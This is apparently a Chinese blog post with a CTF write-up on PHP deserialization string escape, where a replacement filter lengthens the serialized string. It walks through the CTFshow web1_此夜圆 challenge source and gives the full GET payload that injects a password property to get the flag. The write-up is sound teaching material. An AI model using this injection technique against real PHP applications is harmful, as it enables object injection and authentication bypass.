PHP反序列化--字符串逃逸(上--增多)

php反序列化字符串逃逸-CSDN博客

CTF.show:web1_此夜圆_web1此夜圆-CSDN博客

字符串逃逸基础

目的:

改变序列化字符串的长度,导致反序列化漏洞,通过替换序列化后字符串中某一个内容,导致某一串字符串变成了字符内容(个人理解,多多包含!)

特点:

  1. php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
  2. 总是先进行序列化,再进行替换修改操作。

函数:str_replace()

str_replace()函数用于在字符串中替换指定的内容

str_replace($search, $replace, $subject, $count);
  • $search:要被替换的字符串或字符串数组;

  • $replace:用于替换的字符串或字符串数组;

  • $subject:需要进行替换操作的字符串或字符串数组;
  • $count(可选):用于储存替换的次数。

基础:

1、反序列化结束符

反序列化以;}结束,后面的字符串不影响正常的反序列化,当然如果;}在成员属性中那么;}只能算是字符串,不能算是字符串

$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:5:"b;}en";}'; 

就像在这种情况中,v2=b;}en的,其中;}不具有结束功能的

2、成员属性数量

成员属性数量需要与实际的成员属性数量对应

<?php
class A{
    var $v1 = 'a';    //预定义里只有一个成员属性
}
echo serialize(new A());
 
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';    //但这里增加了属性v2
var_dump(unserialize($b));
----------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
bool(false)    //报错

我们只定义了一个成员属性v1,但是在$b里我们又增加了一个成员属性v2,这是不允许的,所以在输出的时候出现了报错,当然如果我们把

当然如果我们把
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';
改为
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';

那么他是正确的,会正常输出

3、字符串长度

成员属性字符串的长度必须与实际长度一致

O:1:"A":1:{s:2:"v1";s:3:"a"b";}

其中"是字符还是格式符号由字符串长度3来判断,这儿a和b之间的"是字符串,包裹ab的“是格式符号

例题

CTFSHOW--web1_此夜圆--字符串逃逸(增多)

打开环境什么都没有,下载附件index.php得到源码

index.php

<?php
// 禁用错误报告,以防止错误信息泄露
error_reporting(0);

// 定义一个类 a
class a
{
    public $uname;
    public $password;

    // 构造函数,用于初始化对象的属性
    public function __construct($uname, $password)
    {
        $this->uname = $uname;
        $this->password = $password;
    }

    // 魔术方法 __wakeup,在对象反序列化时自动调用
    public function __wakeup()
    {
        // 检查密码是否为 'yu22x'
        if ($this->password === 'yu22x')
        {
            // 包含 'flag.php' 文件并输出 $flag 变量的值
            include('flag.php');
            echo $flag;    
        }
        else
        {
            // 如果密码错误,输出 'wrong password'
            echo 'wrong password';
        }
    }
}

// 定义一个过滤函数,用于替换字符串中的 'Firebasky' 为 'Firebaskyup'
function filter($string) {
    return str_replace('Firebasky', 'Firebaskyup', $string);
}

// 获取 URL 参数中的 uname 值
$uname = $_GET[1];
$password = 1; // 设置密码为1

// 序列化新的 a 类对象并通过 filter 函数进行过滤
$ser = filter(serialize(new a($uname, $password)));

// 反序列化过滤后的字符串,并触发 __wakeup 方法
$test = unserialize($ser);
?>

只能get传入一个1参数,最后经反序列化后password==='yu22x’就能拿到flag。而1参数赋值给的是$uname,这里就涉及到了反序列化逃逸 。

在这一串中,将Firebasky替换为 Firebaskyup,多了两个字符

因为我们只能读入一个uname,而原来的password默认为1,试着构造

<?php
class a
{
	public $uname='Firebasky";s:8:"password";s:5:"yu22x";}';
	public $password=1;
}
$test=new a();
echo serialize($test)
?>

O:1:"a":2:{s:5:"uname";s:39:"Firebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

 序列化之后,Firebasky替换为 Firebaskyup,那么uname里的字符串长度就变成41了,这个就会报错。其中,我们需要用";s:8:"password";s:5:"yu22x";}"把原来的s:8:"password";i:1;}给覆盖掉,那么就使得password=yu22x了,并且;}结束语句后,后面的s:8:"password";i:1;}也就没有用了

";s:8:"password";s:5:"yu22x";}"   一共有30个字符,而Firebasky替换为 Firebaskyup是多两个字符,那么我们就要构造15个Firebasky,来填充这30个字符,从而使";s:8:"password";s:5:"yu22x";}"变成字符串内容,覆盖了之前的s:8:"password";i:1;},并且s:8:"password";i:1;}变成了功能字符,没有作用,可有可无了

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

  • 26
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值